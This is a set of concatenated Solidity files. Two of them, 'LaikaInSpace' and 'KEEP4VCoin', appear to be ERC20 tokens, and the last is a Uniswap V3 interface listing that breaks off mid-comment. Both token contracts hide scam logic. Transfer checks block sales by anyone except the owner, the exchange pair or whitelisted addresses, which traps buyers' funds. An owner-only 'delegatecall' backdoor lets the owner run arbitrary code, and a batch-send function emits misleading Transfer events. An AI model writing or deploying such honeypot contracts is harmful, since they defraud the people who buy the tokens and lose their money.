pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract LaikaInSpace{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* KEEP4V Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract KEEP4VCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity =0.7.6; pragma abicoder v2; // File: @uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol /// @title The interface for the Uniswap V3 Factory /// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees interface IUniswapV3Factory { /// @notice Emitted when the owner of the factory is changed /// @param oldOwner The owner before the owner was changed /// @param newOwner The owner after the owner was changed event OwnerChanged(address indexed oldOwner, address indexed newOwner); /// @notice Emitted when a pool is created /// @param token0 The first token of the pool by address sort order /// @param token1 The second token of the pool by address sort order /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @param tickSpacing The minimum number of ticks between initialized ticks /// @param pool The address of the created pool event PoolCreated( address indexed token0, address indexed token1, uint24 indexed fee, int24 tickSpacing, address pool ); /// @notice Emitted when a new fee amount is enabled for pool creation via the factory /// @param fee The enabled fee, denominated in hundredths of a bip /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing); /// @notice Returns the current owner of the factory /// @dev Can be changed by the current owner via setOwner /// @return The address of the factory owner function owner() external view returns (address); /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee /// @return The tick spacing function feeAmountTickSpacing(uint24 fee) external view returns (int24); /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order /// @param tokenA The contract address of either token0 or token1 /// @param tokenB The contract address of the other token /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @return pool The pool address function getPool( address tokenA, address tokenB, uint24 fee ) external view returns (address pool); /// @notice Creates a pool for the given two tokens and fee /// @param tokenA One of the two tokens in the desired pool /// @param tokenB The other of the two tokens in the desired pool /// @param fee The desired fee for the pool /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments /// are invalid. /// @return pool The address of the newly created pool function createPool( address tokenA, address tokenB, uint24 fee ) external returns (address pool); /// @notice Updates the owner of the factory /// @dev Must be called by the current owner /// @param _owner The new owner of the factory function setOwner(address _owner) external; /// @notice Enables a fee amount with the given tickSpacing /// @dev Fee amounts may never be removed once enabled /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6) /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount function enableFeeAmount(uint24 fee, int24 tickSpacing) external; } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolImmutables.sol /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolState.sol /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolDerivedState.sol /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolActions.sol /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolOwnerActions.sol /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolEvents.sol /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick 